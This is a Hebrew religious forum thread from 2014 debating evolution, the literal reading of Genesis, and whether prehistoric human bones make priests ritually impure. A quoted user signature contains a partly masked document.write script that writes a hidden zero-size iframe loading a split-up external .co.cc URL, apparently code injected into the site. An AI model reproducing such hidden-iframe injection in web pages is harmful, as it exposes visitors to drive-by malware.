|
|
| נשלח ב-11/9/2014 13:14 |
 |
| |
למינגית
מי שמאמין שהייתה אבולוציה, הרי אינו מאמין שהייתה בריאת העולם כמו שמתואר בבראשית.
עם ראש פתוח ובעיון גדול, אפשר בהחלט לחיות עם שתי האפשרויות. כי אחת משלימה את הבעיות בשניה.
|
|
|
|
| נשלח ב-11/9/2014 13:16 |
|
| |
ירוחם, ראה נא מש"כ בהודעה שלפניך.
|
|
|
|
| נשלח ב-11/9/2014 14:30 |
|
| |
ספרן
יש לחלק בין הקשר העיוני, שאכן אינו קיים כדבריך, וכפי שכתבו הרמב"ם ועוד ראשונים, וכפי שטען גם מו"ר ע"ה -
לבין הקשר הפסיכולוגי. רבים רבים אינם מסוגלים לנתק בין שתי השאלות. אם יתברר שפרשת "בראשית" אינה כפשוטה, זה זעזוע שישבור את עולמם, את יכולתם (ולא רק את רצונם) לשמור תורה ומצוות.
ועל כן קם הפורום הזה, כדי להבדיל בין מה שהכרחי לבין מה שלא.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-11/9/2014 14:39 |
|
| |
כפי שכבר כתבו כאן כמעט כולם, הסתירה בין האבולוציה לפ"א בבראשית לא ממש מעניינת.
אבל אפשר לדון כאן על הדבר המעניין - כיצד נקבע גדר אדם? האם לכל הומו ספיינס יש גדר אדם או רק מתקופה מסוימת (נניח ההיסטורית שבו התחילה להתקיים חברה)? האם לאדם הנאנדרטלי או מינים אחרים בסוג אדם (Homo) נחשבים לאדם מבחינת ההלכה? כמובן שאלה רק דוגמאות והשאלה העקרונית היא מהי הגדרת האדם.
|
|
|
|
| נשלח ב-11/9/2014 15:10 |
|
| |
| מיימוני כתב: |  | ספרן
יש לחלק בין הקשר העיוני, שאכן אינו קיים כדבריך, וכפי שכתבו הרמב"ם ועוד ראשונים, וכפי שטען גם מו"ר ע"ה -
לבין הקשר הפסיכולוגי. רבים רבים אינם מסוגלים לנתק בין שתי השאלות. אם יתברר שפרשת "בראשית" אינה כפשוטה, זה זעזוע שישבור את עולמם, את יכולתם (ולא רק את רצונם) לשמור תורה ומצוות.
ועל כן קם הפורום הזה, כדי להבדיל בין מה שהכרחי לבין מה שלא.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
ההודעה האנונימית הפותחת את האשכול וכן הודעתה של למינגית אכן מאשרות את טענתך מן ההיבט הפסיכולוגי. חבל. תורה היא וללמוד הם צריכים.
|
|
|
|
| נשלח ב-11/9/2014 15:16 |
|
| |
הרב מימוני
אתה באמת מבין את הפרשיות הראשונות של ספר בראשית כפשוטם?
|
|
|
|
| נשלח ב-11/9/2014 15:36 |
|
| |
| מיימוני כתב: | | קיבלתי לפירסום (ורצונו של הכותב בעילום שמו כבודו - אבל הדברים מעוררי מחשבה ביותר).
הכהנים ועצמות האדם הקדמון
בשיטוטי בארץ במהלך הקיץ נתקלתי בתמונה המצ"ב, ששעשעה אותי מאד.
תוכן התמונה: אזהרה לכהנים שנתלתה בפתח המוזיאון הפרה-היסטורי, על כך שבמוזיאון מוצגות עצמות האדם הקדמון.
ממה נפשך, מי שמאמין במציאותו של אדם קדמון, מודה בכך שהעולם לא נברא לפני 5,774 שנים, ואם כך - מה לו להזהר מטומאה?
ואם הכהן שלנו הוא מאלו המאמינים שה' ברא את העולם 'זקן', עם כל המאובנים והעצמות העתיקות כלולות בתוכו, האם עצמות כאלה - שאינן של מת אמיתי, אלא נבראו כעצמות - האם הן מטמאות??
וחשבתי לתרץ שאולי האדם ההוא, שעצמותיו נמצאו, אינו קדמון כלל, אלא יהודי כשר היה. וזה שהמדע אומר שאלו עצמות של אדם קדמון - הרי ידוע שחכמי האקדמיה של זמננו טועים בכמה וכמה דברים. וממילא יש להזהר מטומאת עצמות אלו.
|
|
איזו מן ברירה כוזבת ניאדרטלית זו? או שהעצמות האלו הן בריות שנבראו בבין השמשות כמות שהן, או שאינן קיימות?
מדובר בעצמות אדם, שלפי ההלכה מטמאות, בלי שום קשר לשאלת התיארוך שלהן, והעובדה שמישהו כתב על שלט שהן מלפני מליארד שנה לא מעלה ולא מורידה הלכתית? ומה הקשר לאבולוציה? אדם קדמון לא קשור כלל לאבולוציה אם כי מעט סותר אותה, כי מלמד שלא חלו שום שינויים במין האנושי לאורך כ"כ הרבה שנים.
|
|
|
|
|
| נשלח ב-11/9/2014 15:43 |
|
| |
ספרן, אני כאן בפורום על תקן סטודנטית.
אשמח להבין, לפי שיטת האומרים שהייתה אבולוציה, והעולם התקדם מפיזיקה - לכימיה - לביולוגיה - לאורגניזמים מורכבים (ואגב, ישיבישער, אין שום סתירה בין האדם הקדמון לאבולוציה, האדם הקדמון היה לפני עשרות אלפי שנים, וההתפתחות שלו מקוף - לפי תאוריית האבולוציה, הייתה לפני מאות אלפי שנים ויותר),
לפי שיטה זו, הרי פרק א' בבראשית לא נכון. לא שאלוקים אמר 'ויהי אדם' ופתאום צץ אדם. הפרק אינו נכון לא מבחינת סדר הבריאה (שעצים היו לפני הכוכבים), ולא מבחינת אופן הבריאה.
אז למה פרק ג' בויקרא, או פרק כ"ד בדברים, או כל פרק אחר בו מצווה הכהן להזהר מטומאה - למה הם כן נכונים, לשיטתם של מאמיני האבולוציה?
|
|
|
|
| נשלח ב-11/9/2014 15:45 |
|
| |
זבחים דף קיג .
איתיבי' רבי יוחנן לריש לקיש: פעם אחד מצאו עצמות בלשכת דיר העצים, ובקשו לגזור טומאה על ירושלים, עמד רבי יהושע על רגליו ואמר: לא בושה וכלימה היא לנו שנגזור טומאה על עיר אבותינו? איה מתי מבול? איה מתי נבוכדנצר? מדקאמר הכי, לאו למימרא דלא הוו! ולטעמיך, הרוגי נבוכדנצר הכי נמי דלא הוו? אלא הוו ופנינהו, הכא נמי הוו ופנינהו. ואי אפנו
מתי המבול טמאו?
|
|
|
|
| נשלח ב-11/9/2014 15:54 |
|
| |
למינגית יקרה, כדאי שתלמדי קצת יותר על האדם הקדמון, וכמה שנים הוא נראה פחות או יותר אותו דבר, בהשוואה לקצב הידוע של האבולוציה.
|
|
|
|
| נשלח ב-11/9/2014 15:57 |
|
| |
.
תוקן על ידי מם80 ב- 11/09/2014 15:59:30
|
|
|
|
| נשלח ב-11/9/2014 16:11 |
|
| |
| למינגית כתב: | | ספרן, אני כאן בפורום על תקן סטודנטית.
אשמח להבין, לפי שיטת האומרים שהייתה אבולוציה, והעולם התקדם מפיזיקה - לכימיה - לביולוגיה - לאורגניזמים מורכבים (ואגב, ישיבישער, אין שום סתירה בין האדם הקדמון לאבולוציה, האדם הקדמון היה לפני עשרות אלפי שנים, וההתפתחות שלו מקוף - לפי תאוריית האבולוציה, הייתה לפני מאות אלפי שנים ויותר),
לפי שיטה זו, הרי פרק א' בבראשית לא נכון. לא שאלוקים אמר 'ויהי אדם' ופתאום צץ אדם. הפרק אינו נכון לא מבחינת סדר הבריאה (שעצים היו לפני הכוכבים), ולא מבחינת אופן הבריאה.
אז למה פרק ג' בויקרא, או פרק כ"ד בדברים, או כל פרק אחר בו מצווה הכהן להזהר מטומאה - למה הם כן נכונים, לשיטתם של מאמיני האבולוציה?
|
|
פרק א' בא רק להביע באופן כללי את הרעיון/ היסוד שעולמנו נברא ע"י אלוקים. יתכן בהחלט שהנו עושה שימוש בתיאור שכבר היה נפוץ באופן כזה או אחר. ראי בשמות רבה, ה ובפי' מהרז"ו שם, שמשה מצא את סיפורי ס' בראשית שהיו בידי העם מקדמא דנא (וצ"ל שנכללו אח"כ בתורה בהוראה מגבוה) כמובן שאם התורה היתה ניתנת בזמננו, היה תיאור הבריאה שונה, אבל גם הוא היה כנראה מתיישן לאחר זמן. בספרו 'חיי ישראל החדשים' מאריך הרב הרטום (גיסו של קאסוטו) בכל זה.
|
|
|
|
| נשלח ב-11/9/2014 17:59 |
|
| |
-
תוקן על ידי למינגית ב- 11/09/2014 18:58:40
|
|
|
|
| נשלח ב-11/9/2014 18:00 |
|
| |
לישיבישער, אלמד בשמחה רבה. תן מקורות וקישורים, או שמות של ספרים, ואלך ללמוד.
|
|
|
|
| נשלח ב-11/9/2014 18:15 |
|
| |
למינגית,
נראה שלא קראת את הודעתי בעיון כראוי.
על משה שמצא את המסופר בבראשית במגילות אצל העם כותב המדרש שמקומו המדוייק צויין. לא המצאה שלי. גם ציינתי שלפי המסורת של 'תורה מן השמיים' צריך בהכרח לומר שהכללתן בתורה נעשתה אם כן בהוראה מגבוה = מהקב"ה.
כל זה, כמובן לא קשור כלל לשאר התורה שלפי המסורת ניתנה כלשונה מן השמיים בהתגלות סיני.
מה שכתבתי שהפסוקים בתחילת בראשית באים להביע רעיון כללי, זה מה שנשאר עבורינו כיום שאיננו יודעים ליישב ע"פ פשט ובהתאם למדע. כבר הרמב"ן, מיד בהתחלת בראשית עמד על כך (כפירוש לשאלת ר' יצחק המפורסמת) שהפסוקים לא מובנים ולדעתו מכילים סודות וא"כ למה התורה פתחה בהם ?
מצער לראות את מי שבאה לדבריה על תקן סטודנטית שמגלה מידה כה גדולה של חוסר הבנת הנקרא ונוהגת בקלות ראש בדברים העומדים ברומו של עולם.
[בינתיים מחקה למינגית את כל הודעתה שאליה מתייחסים הדברים. הם נותרים על כנם מפני חשיבותם, לדעתי, ועבור אלו שהספיקו לקרוא את הודעתה]
תוקן על ידי ספרן ב- 11/09/2014 19:08:34
|
|
|
|
|
